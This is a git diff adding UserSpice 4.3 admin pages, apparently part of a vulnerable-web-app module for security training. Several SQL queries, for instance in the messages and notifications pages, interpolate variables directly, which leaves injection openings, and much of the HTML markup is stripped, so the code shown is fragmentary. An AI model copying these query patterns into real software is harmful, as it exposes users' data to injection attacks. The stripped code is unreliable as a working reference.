$groupsSelect[0]='Unrestricted'; +// foreach ($allGroups as $group) { +// $groupsSelect[$group->id]=$group->name; +// } + +?> + +
    +
    +
    +
    +
    +

    Menu

    +

    + New Dropdown + New Item + + Refresh +

    +
    + + *Click to edit + + + + + + + + + + + + + + + + + +
    IDLabelParentLink*Dropdown*Authorized GroupsLogged In*Display Order*Icon Class*Action
    id?>indent) ? '>>> ' : '').$item->label?>parent]?>

    link?>

    dropdown) ? 'Yes' : 'No';?>

    + id) as $g) { + #var_dump($g); + echo $g->group_id.","; + + } + ?> +

    logged_in) ? 'Yes' : 'No';?>

    display_order?> + + +

    icon_class?> + / +
    +
    +
    +
    +
    +
    + + + + + + + + + + diff --git a/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/admin_menu_item.php b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/admin_menu_item.php new file mode 100644 index 000000000..4bb1a5475 --- /dev/null +++ b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/admin_menu_item.php @@ -0,0 +1,168 @@ + + + + + +=0) { + /* + This is a valid ID so grab the record + */ + $item_results = $db->query("SELECT * FROM menus WHERE id=?",[$menuId]); + $item = $item_results->first(); + } +} + +if (!$item) { + Redirect::to('admin_menu.php?menu_title='.Input::get('menu_title').'&err=This+menu+item+does+not+exist.'); +} + +if (Input::exists('post')) { + # Update the db with the new values + $fields=array( + 'menu_title'=>$item->menu_title, + 'parent'=>Input::get('parent'), + 'dropdown'=>Input::get('dropdown'), + #'perm_level'=>Input::get('perm_level'), + 'logged_in'=>Input::get('logged_in'), + 'display_order'=>Input::get('display_order'), + 'label'=>Input::get('label'), + 'link'=>Input::get('link'), + 'icon_class'=>Input::get('icon_class') + ); + if ($db->update('menus',$menuId,$fields)) { + //dump(Input::get('authorized_groups')); + updateGroupsMenus((Input::get('authorized_groups')), $item->id); + logger($user->data()->id,"Menu Manager","Updated $menuId"); + Redirect::to('admin_menu.php?menu_title='.$item->menu_title.'&msg=Menu+item+updated'); + } + else { + Redirect::to('admin_menu.php?menu_title='.$item->menu_title.'&err=Unable+to+update+menu+item.'); + } +} + +/* +Grab all records which are marked as dropdowns +*/ +$dropdown_results = $db->query("SELECT * FROM menus WHERE menu_title=? AND dropdown=1",[$item->menu_title]); +$dropdowns = $dropdown_results->results(); + +/* +Get permission levels and names +*/ +$allGroups = array_merge([(object)['id'=>0, 'name'=>'Unrestricted Access']], fetchAllPermissions()); +$authorizedGroups = array(); +foreach (fetchGroupsByMenu($menuId) as $g) { + $authorizedGroups[] = $g->group_id; +} + +//dump($dropdowns); + + + +?> + +
    +
    +
    +
    +

    Menu Item

    + +
    + +
    + + +
    + +
    + + +
    + +
    + + + "; + } + ?> + +
    + +
    + + +
    + +
    + + +
    + +
    + + +
    + +
    + + +
    + +
    + + Be sure to add fa fa-fw before the shortcode to display properly. + +
    + + + +

    + Cancel

    + +
    + + +
    +
    +
    +
    + + + + + + + diff --git a/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/admin_menus.php b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/admin_menus.php new file mode 100644 index 000000000..9ae714b05 --- /dev/null +++ b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/admin_menus.php @@ -0,0 +1,65 @@ + + + + + +query("SELECT DISTINCT menu_title FROM menus"); +$navs_all = $navs_all->results(); +?> +
    +
    + +
    +
    +

    Menus

    +navigation_type !=1){bold("
    Please note that you have database-driven menus disabled in your dashboard.");} ?> + + +
    + + + + + + + + + + +
    Menu TitleItem Count
    menu_title?> + query("SELECT * FROM menus WHERE menu_title = ?",array($nav->menu_title))->count();?> +
    +
    + +
    +
    + +
    +
    + + + + + + + diff --git a/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/admin_message.php b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/admin_message.php new file mode 100644 index 000000000..5004190a4 --- /dev/null +++ b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/admin_message.php @@ -0,0 +1,263 @@ +. + +Special thanks to user Brandin for the mods! +*/ +?> + + +messaging != 1){ + Redirect::to('admin.php?err=Messaging+is+disabled'); +} +?> + +query("SELECT * FROM message_threads WHERE id = ?",array($id)); +$thread = $findThread->first(); + +$findMessageQ = $db->query("SELECT * FROM messages WHERE msg_thread = ?",array($id)); +$messages = $findMessageQ->results(); +$single = $findMessageQ->first(); + +// +$validation = new Validate(); +//PHP Goes Here! + +$errors = []; +$successes = []; +//PHP Goes Here! + +if (!empty($_POST)) { + if (!empty($_POST['action'])){ + if (!empty($_POST['delete'])){ + $deletions = $_POST['delete']; + if ($deletion_count = deleteMessages($deletions,1)){ + $successes[] = "Deleted $deletion_count messages."; + } + else { + $errors[] = lang("SQL_ERROR"); + } } + if (!empty($_POST['undelete'])){ + $deletions = $_POST['undelete']; + if ($deletion_count = deleteMessages($deletions,0)){ + $successes[] = "Undeleted $deletion_count messages."; + } + else { + $errors[] = lang("SQL_ERROR"); + } } + } + $findThread = $db->query("SELECT * FROM message_threads WHERE id = ?",array($id)); + $thread = $findThread->first(); + + $findMessageQ = $db->query("SELECT * FROM messages WHERE msg_thread = ?",array($id)); + $messages = $findMessageQ->results(); + $single = $findMessageQ->first(); +} +?> +
    +
    + +errors()=='') {?>
    errors());?>
    +
    + + errors()=='') {?>
    errors());?>
    +
    +
    +
    +

    msg_subject?> - ADMIN VIEW

    +
    +
    +
    +
    + +
    +
      + data()->email))); + foreach ($messages as $m){ + $findUser = $db->query("SELECT email FROM users WHERE id = $m->msg_from"); + if($findUser->count()==1) $foundUser = $findUser->first()->email; + if($findUser->count()==0) $foundUser = "null@null.com"; + $grav = get_gravatar(strtolower(trim($foundUser))); + $lastmessage = strtotime($m->sent_on); + $difference = ceil((time() - $lastmessage) / (60 * 60 * 24)); + // if($difference==0) { $last_update = "Today, "; $last_update .= date("g:i A",$lastmessage); } + if($difference >= 0 && $difference < 7) { + $today = date("j"); + $last_message = date("j",$lastmessage); + if($today==$last_message) { $last_update = "Today, "; $last_update .= date("g:i A",$lastmessage); } + else { + $last_update = date("l g:i A",$lastmessage); } } + elseif($difference >= 7) { $last_update = date("M j, Y g:i A",$lastmessage); } + if($m->msg_to == $user->data()->id){ + ?> +
    • + Generic placeholder thumbnail

      + +
      +
      +
      + msg_from);?> + +
      +

      + msg_body); + echo $msg; ?> +

      +

      msg_read==1 && $m->deleted==0) {?> Readmsg_read==0 && $m->deleted==0) { ?> Delivereddeleted==1) { ?> Deleted

      + deleted==0) {?>
      + deleted==1) {?>
      +
      +
    • + + + +
    • + Generic placeholder thumbnail

      +
      +
      +
      + + msg_from);?> +
      +

      +
      + msg_body); + echo $msg; ?> +

      +

      msg_read==1 && $m->deleted==0) {?> Readmsg_read==0 && $m->deleted==0) { ?> Delivereddeleted==1) { ?> Deleted

      + deleted==0) {?>
      + deleted==1) {?>
      +
      +
    • + + + + + + + + +
        + + +

    +

    +
    +
    + + + + + + + + + + + diff --git a/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/admin_messages.php b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/admin_messages.php new file mode 100644 index 000000000..36138c688 --- /dev/null +++ b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/admin_messages.php @@ -0,0 +1,443 @@ +. + +Special thanks to user Brandin for the mods! +*/ +?> + + +messaging != 1){ + Redirect::to('admin.php?err=Messaging+is+disabled'); +} +$validation = new Validate(); +$errors = []; +$successes = []; +?> +data()->id)){ + $successes[] = lang("MESSAGE_ARCHIVE_SUCCESSFUL", array($deletion_count)); + } + else { + $errors[] = lang("SQL_ERROR"); + } + } + if ($action=="archiveto" && isset($_POST['checkbox'])){ + $deletions = $_POST['checkbox']; + if ($deletion_count = adminArchiveThread($deletions,"msg_to",$user->data()->id)){ + $successes[] = lang("MESSAGE_ARCHIVE_SUCCESSFUL", array($deletion_count)); + } + else { + $errors[] = lang("SQL_ERROR"); + } + } + if ($action=="archivefrom" && isset($_POST['checkbox'])){ + $deletions = $_POST['checkbox']; + if ($deletion_count = adminArchiveThread($deletions,"msg_from",$user->data()->id)){ + $successes[] = lang("MESSAGE_ARCHIVE_SUCCESSFUL", array($deletion_count)); + } + else { + $errors[] = lang("SQL_ERROR"); + } + } + if ($action=="unarchive" && isset($_POST['checkbox'])){ + $deletions = $_POST['checkbox']; + if ($deletion_count = adminUnarchiveThread($deletions,"both",$user->data()->id)){ + $successes[] = lang("MESSAGE_UNARCHIVE_SUCCESSFUL", array($deletion_count)); + } + else { + $errors[] = lang("SQL_ERROR"); + } + } + if ($action=="unarchiveto" && isset($_POST['checkbox'])){ + $deletions = $_POST['checkbox']; + if ($deletion_count = adminUnarchiveThread($deletions,"msg_to",$user->data()->id)){ + $successes[] = lang("MESSAGE_UNARCHIVE_SUCCESSFUL", array($deletion_count)); + } + else { + $errors[] = lang("SQL_ERROR"); + } + } + if ($action=="unarchivefrom" && isset($_POST['checkbox'])){ + $deletions = $_POST['checkbox']; + if ($deletion_count = adminUnarchiveThread($deletions,"msg_from",$user->data()->id)){ + $successes[] = lang("MESSAGE_UNARCHIVE_SUCCESSFUL", array($deletion_count)); + } + else { + $errors[] = lang("SQL_ERROR"); + } + } + if ($action=="delete" && isset($_POST['checkbox'])){ + $deletions = $_POST['checkbox']; + if ($deletion_count = adminDeleteThread($deletions,"both",$user->data()->id)){ + $successes[] = lang("MESSAGE_DELETE_SUCCESSFUL", array($deletion_count)); + } + else { + $errors[] = lang("SQL_ERROR"); + } + } + if ($action=="deleteto" && isset($_POST['checkbox'])){ + $deletions = $_POST['checkbox']; + if ($deletion_count = adminDeleteThread($deletions,"msg_to",$user->data()->id)){ + $successes[] = lang("MESSAGE_DELETE_SUCCESSFUL", array($deletion_count)); + } + else { + $errors[] = lang("SQL_ERROR"); + } + } + if ($action=="deletefrom" && isset($_POST['checkbox'])){ + $deletions = $_POST['checkbox']; + if ($deletion_count = adminDeleteThread($deletions,"msg_from",$user->data()->id)){ + $successes[] = lang("MESSAGE_DELETE_SUCCESSFUL", array($deletion_count)); + } + else { + $errors[] = lang("SQL_ERROR"); + } + } + + if(!empty($_POST['messageSettings'])) { + if($settings->msg_notification != $_POST['msg_notification']) { + $msg_notification = Input::get('msg_notification'); + if(empty($msg_notification)) { $msg_notification==0; } + $fields=array('msg_notification'=>$msg_notification); + $db->update('settings',1,$fields); + $successes[] = "Set msg_notification to $msg_notification"; + logger($user->data()->id,"Setting Change","Changed msg_notification from $settings->msg_notification to $msg_notification."); + } + + if($settings->msg_blocked_users != $_POST['msg_blocked_users']) { + $msg_blocked_users = Input::get('msg_blocked_users'); + if(empty($msg_blocked_users)) { $msg_blocked_users==0; } + $fields=array('msg_blocked_users'=>$msg_blocked_users); + $db->update('settings',1,$fields); + $successes[] = "Set msg_blocked_users to $msg_blocked_users"; + logger($user->data()->id,"Setting Change","Changed msg_blocked_users from $settings->msg_blocked_users to $msg_blocked_users."); + } + + if($settings->msg_default_to != $_POST['msg_default_to']) { + $msg_default_to = Input::get('msg_default_to'); + if(empty($msg_default_to)) { $msg_default_to==0; } + $fields=array('msg_default_to'=>$msg_default_to); + $db->update('settings',1,$fields); + $successes[] = "Set msg_default_to to $msg_default_to"; + logger($user->data()->id,"Setting Change","Changed msg_default_to from $settings->msg_default_to to $msg_default_to."); + } + $settingsQ = $db->query("SELECT * FROM settings"); + $settings = $settingsQ->first(); + } + + if(!empty($_POST['send_mass_message'])){ + $date = date("Y-m-d H:i:s"); + $msg_subject = Input::get('msg_subject'); + $sendEmail = Input::get('sendEmail'); + + $userData = fetchMessageUsers(); //Fetch information for all users + foreach($userData as $v1) { + $thread = array( + 'msg_from' => $user->data()->id, + 'msg_to' => $v1->id, + 'msg_subject' => Input::get('msg_subject'), + 'last_update' => $date, + 'last_update_by' => $user->data()->id, + ); + $db->insert('message_threads',$thread); + $newThread = $db->lastId(); + + + $fields = array( + 'msg_from' => $user->data()->id, + 'msg_to' => $v1->id, + 'msg_body' => Input::get('msg_body'), + 'msg_thread' => $newThread, + 'sent_on' => $date, + ); + + $db->insert('messages',$fields); + if(isset($_POST['sendEmail'])) { + $email = $db->query("SELECT fname,email,msg_notification FROM users WHERE id = ?",array($v1->id))->first(); + if($settings->msg_notification == 1 && $v1->msg_notification == 1 && isset($_POST['sendEmail'])) { + $params = array( + 'fname' => $user->data()->fname, + 'sendfname' => $v1->fname, + 'body' => Input::get('msg_body'), + 'msg_thread' => $newThread, + ); + $to = rawurlencode($email->email); + $body = email_body('_email_msg_template.php',$params); + email($to,$msg_subject,$body); + logger($user->data()->id,"Messaging - Mass","Sent a message to $email->fname."); + } } } + + $successes[] = "Your mass message has been sent!"; + logger($user->data()->id,"Messaging - Mass","Finished sending mass message."); + } } + $messagesQ = $db->query("SELECT * FROM message_threads ORDER BY last_update DESC"); + $messages = $messagesQ->results(); + $count = $messagesQ->count(); + $csrf = Token::generate(); + ?> +
    + +
    + + + errors()=='') {?>
    errors());?>
    + + +
    +
    +
    +
    +

    Conversations

    +
    + 0) {?>
    +
    +
    + + + + + + + + + + 0) {?> + msg_from == $user->data()->id) { $toId = $m->msg_to; $fromId = $m->msg_from; } else { $toId = $m->msg_from; $fromId = $m->msg_to; } + $fromQ = $db->query("SELECT picture,email FROM users WHERE id = $fromId"); + if($fromQ->count()==1) $fromUser = $fromQ->first()->email; + if($fromQ->count()==0) $fromUser = "null@null.com"; + $fromGrav = get_gravatar(strtolower(trim($fromUser))); + $toQ = $db->query("SELECT picture,email FROM users WHERE id = $toId"); + if($toQ->count()==1) $toUser = $toQ->first()->email; + if($toQ->count()==0) $toUser = "null@null.com"; + $toGrav = get_gravatar(strtolower(trim($toUser))); + $lastmessage = strtotime($m->last_update); + $difference = ceil((time() - $lastmessage) / (60 * 60 * 24)); + // if($difference==0) { $last_update = "Today, "; $last_update .= date("g:i A",$lastmessage); } + if($difference >= 0 && $difference < 7) { + $today = date("j"); + $last_message = date("j",$lastmessage); + if($today==$last_message) { $last_update = "Today, "; $last_update .= date("g:i A",$lastmessage); } + else { + $last_update = date("l g:i A",$lastmessage); } } + elseif($difference >= 7) { $last_update = date("M j, Y g:i A",$lastmessage); } + $replies = $db->query("SELECT COUNT(*) AS count FROM messages WHERE msg_thread = ? GROUP BY msg_thread",array($m->id)); + $repliescount = $replies->count(); + ?> + + + + + + + + +
    + + + + + + + + + + + + +

    + + + msg_subject?> - between msg_from);?> and msg_to);?> + + query("SELECT * FROM messages WHERE msg_thread = ? AND msg_to = ? AND msg_read = ?",array($m->id,$user->data()->id,0)); + $unreadCount = $unread->count();?>

    + + Updated by last_update_by);?> + +
    + Archived by msg_from)?> (f) + Archived by msg_to)?> (t)

    + Deleted by msg_from)?> (f) + Deleted by msg_to)?> (t) +

    No Conversations

    + 0) {?> + + + +
    + + + +
    + +
    +

    +
    + + + + + +
    +
    +
    + + + + + + + + + + + + + + diff --git a/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/admin_notifications.php b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/admin_notifications.php new file mode 100644 index 000000000..9c0205dd9 --- /dev/null +++ b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/admin_notifications.php @@ -0,0 +1,191 @@ +. + +Special thanks to user Brandin for the mods! +*/ +?> + + +notifications != 1){ + Redirect::to('admin.php?err=Notifications+are+disabled'); +} +$validation = new Validate(); +$errors = []; +$successes = []; +?> +data()->id)){ + $successes[] = "Successfully marked $deletion_count notification(s) read."; + } + else { + $errors[] = lang("SQL_ERROR"); + } + } + if ($action=="delete" && isset($_POST['checkbox'])){ + $deletions = $_POST['checkbox']; + if ($deletion_count = adminNotifications("delete",$deletions,$user->data()->id)){ + $successes[] = "Successfully deleted $deletion_count notification(s)."; + } + else { + $errors[] = lang("SQL_ERROR"); + } + } + +if(!empty($_POST['send_mass_message'])){ + $date = date("Y-m-d H:i:s"); + $msg = Input::get('message',TRUE); + + $userData = fetchMessageUsers(); //Fetch information for all users + foreach($userData as $v1) { + $notifications->addNotification($msg,$v1->id); + logger($user->data()->id,"Notifications - Mass","Sent a notification to $v1->fname."); + } + + $successes[] = "Your mass notification has been sent!"; + logger($user->data()->id,"Notifications - Mass","Finished sending mass message."); +} +} +$adminNotificationsQ = $db->query("SELECT * FROM notifications ORDER BY date_created DESC"); +$adminNotifications = $adminNotificationsQ->results(); +$count = $adminNotificationsQ->count(); +?> +
    +
    +
    +
    +

    Notifications Manager

    +
    +
    +
    +
    +
    + + +errors()=='') {?>
    errors());?>
    + 0) {?>
    +

    +
    + + + + + + + + + 0) {?> + + + + + + + + + +
    + + user_id")->first()->email)?>" width="75" class="img-thumbnail"> + + user_id)?>, date_created)?>
    message)?> +
    + is_read==1 && $m->is_archived==0) {?> Readis_read==0 && $m->is_archived==0) { ?> Deliveredis_archived==1) { ?> Deleted +

    No Notifications

    + 0) {?> + + + +
    + + +
    + +
    +

    +
    + + + +
    +
    + + + + + + + + + + + diff --git a/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/admin_page.php b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/admin_page.php new file mode 100644 index 000000000..2e77de9fe --- /dev/null +++ b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/admin_page.php @@ -0,0 +1,253 @@ +. +*/ +?> + + + + +private == 0){ + if (updatePrivate($pageId, 1)){ + $successes[] = lang("PAGE_PRIVATE_TOGGLED", array("private")); + logger($user->data()->id,"Pages Manager","Changed private from public to private for Page #$pageId."); + }else{ + $errors[] = lang("SQL_ERROR"); + } + } + }elseif ($pageDetails->private == 1){ + if (updatePrivate($pageId, 0)){ + $successes[] = lang("PAGE_PRIVATE_TOGGLED", array("public")); + logger($user->data()->id,"Pages Manager","Changed private from private to public for Page #$pageId and stripped re_auth."); + }else{ + $errors[] = lang("SQL_ERROR"); + } + } + + + //Toggle reauth setting + if($pageDetails->private==1 && $pageDetails->page != "users/admin_verify.php" && $pageDetails->page != "usersc/admin_verify.php") { + if (isset($re_auth) AND $re_auth == 'Yes'){ + if ($pageDetails->re_auth == 0){ + if (updateReAuth($pageId, 1)){ + $successes[] = lang("PAGE_REAUTH_TOGGLED", array("requires")); + logger($user->data()->id,"Pages Manager","Changed re_auth from No to Yes for Page #$pageId."); + }else{ + $errors[] = lang("SQL_ERROR"); + } + } + }elseif ($pageDetails->re_auth == 1){ + if (updateReAuth($pageId, 0)){ + $successes[] = lang("PAGE_REAUTH_TOGGLED", array("does not require")); + logger($user->data()->id,"Pages Manager","Changed re_auth from Yes to No for Page #$pageId."); + }else{ + $errors[] = lang("SQL_ERROR"); + } + } } + + //Remove permission level(s) access to page + if(!empty($_POST['removePermission'])){ + $remove = $_POST['removePermission']; + if ($deletion_count = removePage($pageId, $remove)){ + $successes[] = lang("PAGE_ACCESS_REMOVED", array($deletion_count)); + logger($user->data()->id,"Pages Manager","Deleted $deletion_count permission(s) from $pageDetails->page."); + }else{ + $errors[] = lang("SQL_ERROR"); + } + } + + //Add permission level(s) access to page + if(!empty($_POST['addPermission'])){ + $add = $_POST['addPermission']; + $addition_count = 0; + foreach($add as $perm_id){ + if(addPage($pageId, $perm_id)){ + $addition_count++; + } + } + if ($addition_count > 0 ){ + $successes[] = lang("PAGE_ACCESS_ADDED", array($addition_count)); + logger($user->data()->id,"Pages Manager","Added $addition_count permission(s) to $pageDetails->page."); + } + } + + //Changed title for page + if($_POST['changeTitle'] != $pageDetails->title){ + $newTitle = $_POST['changeTitle']; + if ($db->query('UPDATE pages SET title = ? WHERE id = ?', array($newTitle, $pageDetails->id))){ + $successes[] = lang("PAGE_RETITLED", array($newTitle)); + logger($user->data()->id,"Pages Manager","Retitled '{$pageDetails->page}' to '$newTitle'."); + }else{ + $errors[] = lang("SQL_ERROR"); + } + } + $pageDetails = fetchPageDetails($pageId); +} +$pagePermissions = fetchPagePermissions($pageId); +$permissionData = fetchAllPermissions(); +$countQ = $db->query("SELECT id, permission_id FROM permission_page_matches WHERE page_id = ? ",array($pageId)); +$countCountQ = $countQ->count(); +?> +
    + +
    + + +
    + + + +
    + + +

    Page Permissions

    + + +
    ?id=' method='post'> + + +
    +
    +
    +
    Information
    +
    +
    + + id; ?> +
    +
    + + page; ?> +
    +
    +
    +
    + +
    +
    +
    Public or Private?
    +
    +
    +
    + private==1 && $pageDetails->page != "users/admin_verify.php" && $pageDetails->page != "usersc/admin_verify.php") {?> + + +
    +
    +
    + +
    +
    +
    Remove Access
    +
    +
    + permission_id; + } + foreach ($permissionData as $v1){ + if(in_array($v1->id,$perm_ids)){ ?> +
    + +
    +
    +
    +
    + +
    +
    +
    Add Access
    +
    +
    + id,$perm_ids)){ ?> + page_permission_restriction == 0) {?>
    + page_permission_restriction == 1) {?>
    + +
    +
    +
    +
    +
    + +
    +
    +
    + (This is the text that's displayed on the browser's titlebar or tab) + +
    +
    +
    + + + + Cancel

    +
    +
    +
    +
    +
    + + + + + + + diff --git a/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/admin_pages.php b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/admin_pages.php new file mode 100644 index 000000000..e39300e58 --- /dev/null +++ b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/admin_pages.php @@ -0,0 +1,179 @@ +. +*/ +?> + + + + + $dbpage) { + if ($dbpage->page === $page) { + unset($dbpages[$k]); + $page_exists = true; + break; + } + } + if (!$page_exists) { + $creations[] = $page; + } +} + +// /* +// * Remaining DB pages (not found) are to be deleted. +// * This function turns the remaining objects in the $dbpages +// * array into the $deletions array using the 'id' key. +// */ +$deletions = array_column(array_map(function ($o) {return (array)$o;}, $dbpages), 'id'); + +$deletes = ''; +for($i = 0; $i < count($deletions);$i++) { + $deletes .= $deletions[$i] . ','; +} +$deletes = rtrim($deletes,','); +//Enter new pages in DB if found +if (count($creations) > 0) { + createPages($creations); +} +// //Delete pages from DB if not found +if (count($deletions) > 0) { + deletePages($deletes); +} + +//Update $dbpages +$dbpages = fetchAllPages(); + +?> +
    + +
    + + +
    +
    + +

    Manage Page Access

    + + + +
    + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    +
    + + + + + + + + + + + + + diff --git a/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/admin_permission.php b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/admin_permission.php new file mode 100644 index 000000000..ea3f96f39 --- /dev/null +++ b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/admin_permission.php @@ -0,0 +1,316 @@ +. +*/ +?> + + + + +data()->id,"Permissions Manager","Deleted $name."); + Redirect::to('admin_permissions.php?msg=Permission+deleted.'); + } + else { + $errors[] = lang("SQL_ERROR"); + } } + } + else + { + //Update permission level name + if($permissionDetails['name'] != $_POST['name']) { + $permission = Input::get('name'); + $fields=array('name'=>$permission); +//NEW Validations + $validation->check($_POST,array( + 'name' => array( + 'display' => 'Permission Name', + 'required' => true, + 'unique' => 'permissions', + 'min' => 1, + 'max' => 25 + ) + )); + if($validation->passed()){ + $db->update('permissions',$permissionId,$fields); + $successes[] = "Updated Permission Name"; + $name = $permissionDetails['name']; + logger($user->data()->id,"Permissions Manager","Changed Permission Name from $name to $permission."); + }else{ + } + } + + //Remove access to pages + if(!empty($_POST['removePermission'])){ + $remove = $_POST['removePermission']; + if ($deletion_count = removePermission($permissionId, $remove)) { + $successes[] = lang("PERMISSION_REMOVE_USERS", array($deletion_count)); + logger($user->data()->id,"Permission Manager","Deleted $deletion_count users(s) from Permission #$permissionId."); + } + else { + $errors[] = lang("SQL_ERROR"); + } + } + + //Add access to pages + if(!empty($_POST['addPermission'])){ + $add = $_POST['addPermission']; + if ($addition_count = addPermission($permissionId, $add)) { + $successes[] = lang("PERMISSION_ADD_USERS", array($addition_count)); + logger($user->data()->id,"Permission Manager","Added $addition_count users(s) to Permission #$permissionId."); + } + else { + $errors[] = lang("SQL_ERROR"); + } + } + + //Remove access to pages + if(!empty($_POST['removePage'])){ + $remove = $_POST['removePage']; + if ($deletion_count = removePage($remove, $permissionId)) { + $successes[] = lang("PERMISSION_REMOVE_PAGES", array($deletion_count)); + logger($user->data()->id,"Permission Manager","Deleted $deletion_count pages(s) from Permission #$permissionId."); + } + else { + $errors[] = lang("SQL_ERROR"); + } + } + + //Add access to pages + if(!empty($_POST['addPage'])){ + $add = $_POST['addPage']; + if ($addition_count = addPage($add, $permissionId)) { + $successes[] = lang("PERMISSION_ADD_PAGES", array($addition_count)); + logger($user->data()->id,"Permission Manager","Added $addition_count pages(s) to Permission #$permissionId."); + } + else { + $errors[] = lang("SQL_ERROR"); + } + } + $permissionDetails = fetchPermissionDetails($permissionId); + } +} + +//Retrieve list of accessible pages +$pagePermissions = fetchPermissionPages($permissionId); + + + + + //Retrieve list of users with membership +$permissionUsers = fetchPermissionUsers($permissionId); +// dump($permissionUsers); + +//Fetch all users +$userData = fetchAllUsers(); + + +//Fetch all pages +$pageData = fetchAllPages(); + +?> + +
    + +
    + + +
    +
    + + errors()=='') {?>
    errors());?>
    + + + +

    Configure Details for this Permission Level

    + + + +
    ?id=' method='post'> + + Cancel

    + + + + +
    +

    Permission Information

    +
    +

    + + +

    +

    + + ' /> +

    +

    Delete this Level?

    + +

    +
    +

    Permission Membership

    +
    +

    + Remove Members: + user_id; + } + foreach ($userData as $v1){ + if(in_array($v1->id,$perm_users)){ ?> +
    + +

    +

    Add Members: + user_id; + } + foreach ($userData as $v1){ + if(!in_array($v1->id,$perm_losers)){ ?> +
    + +

    +
    +
    +

    Permission Access

    +
    + +


    + Remove Access From This Level: + page_id; + } + foreach ($pageData as $v1){ + if(in_array($v1->id,$page_ids)){ ?> +
    + +

    +


    + Add Access To This Level: + page_permission_restriction == 1) { + $countQ = $db->query("SELECT id, permission_id FROM permission_page_matches WHERE page_id = ? ",array($v1->id)); + $countCountQ = $countQ->count(); + if(!in_array($v1->id,$page_ids) && $v1->private == 1 && !$countCountQ >=1){ ?> +
    + id,$page_ids) && $v1->private == 1){ ?> +
    + + + +

    + page_permission_restriction == 1) { ?> +


    Private - Cannot Be Assigned: + query("SELECT id, permission_id FROM permission_page_matches WHERE page_id = ? ",array($v1->id)); + $countCountQ = $countQ->count(); + if(!in_array($v1->id,$page_ids) && $v1->private == 1 && $countCountQ >=1){ ?>
    page;?> ( 1) {?>Multiplefirst()->permission_id)['name']?>) + + + +

    +


    + Public Pages: + private != 1){ + ?>
    page?> + +

    +
    +
    + + + +

    + +

    +
    + + + + +
    +
    +
    +
    + + + + + + + + diff --git a/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/admin_permissions.php b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/admin_permissions.php new file mode 100644 index 000000000..2c12bef70 --- /dev/null +++ b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/admin_permissions.php @@ -0,0 +1,152 @@ +. +*/ +?> + + + + + +$permission); + //NEW Validations + $validation->check($_POST,array( + 'name' => array( + 'display' => 'Permission Name', + 'required' => true, + 'unique' => 'permissions', + 'min' => 1, + 'max' => 25 + ) + )); + if($validation->passed()){ + $db->insert('permissions',$fields); + $successes[] = "Permission Updated"; + logger($user->data()->id,"Permissions Manager","Added Permission Level named $permission."); + }else{ + + } + } +} + + +$permissionData = fetchAllPermissions(); //Retrieve list of all permission levels +$count = 0; +// dump($permissionData); +// echo $permissionData[0]->name; +?> +
    + +
    + + +
    +
    + + errors()=='') {?>
    errors());?>
    + +
    + + +
    + + + + +
    ' method='post'> +

    Create a new permission group

    +

    + + + +

    + +

    +

    + +
    + + + Delete //LEGACY BA 9162017 */?> + + + + + id,$permission_exempt)){?>//LEGACY BA 9162017 */?> + + + + + + + + +
    + + +
    +
    +
    +
    +
    + + + + + + + + + + diff --git a/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/admin_user.php b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/admin_user.php new file mode 100644 index 000000000..3188b0b69 --- /dev/null +++ b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/admin_user.php @@ -0,0 +1,587 @@ +. +*/ +?> + + + + + +query("SELECT * FROM email"); +$results = $query->first(); +$act = $results->email_act; +$errors = []; +$successes = []; +$userId = Input::get('id'); +$email = $db->query("SELECT * FROM email")->first(); +//Check if selected user exists +if(!userIdExists($userId)){ + Redirect::to('admin_users.php?err=That user does not exist.'); die(); +} + +$userdetails = fetchUserDetails(NULL, NULL, $userId); //Fetch user details + +//Forms posted +if(!empty($_POST)) { + $token = $_POST['csrf']; + if(!Token::check($token)){ + include('../usersc/scripts/token_error.php'); + }else { + + if(!empty($_POST['delete'])){ + $deletions = $_POST['delete']; + if ($deletion_count = deleteUsers($deletions)){ + logger($user->data()->id,"User Manager","Deleted user named $userdetails->fname."); + Redirect::to('admin_users.php?msg='.lang("ACCOUNT_DELETIONS_SUCCESSFUL", array($deletion_count))); + } + else { + $errors[] = lang("SQL_ERROR"); + } + } + else + { + + //Update display name + + if ($userdetails->username != $_POST['username']){ + $displayname = Input::get("username"); + + $fields=array('username'=>$displayname); + $validation->check($_POST,array( + 'username' => array( + 'display' => 'Username', + 'required' => true, + 'unique_update' => 'users,'.$userId, + 'min' => $settings->min_un, + 'max' => $settings->max_un + ) + )); + if($validation->passed()){ + $db->update('users',$userId,$fields); + $successes[] = "Username Updated"; + logger($user->data()->id,"User Manager","Updated username for $userdetails->fname from $userdetails->username to $displayname."); + }else{ + + } + } + + //Update first name + + if ($userdetails->fname != $_POST['fname']){ + $fname = ucfirst(Input::get("fname")); + + $fields=array('fname'=>$fname); + $validation->check($_POST,array( + 'fname' => array( + 'display' => 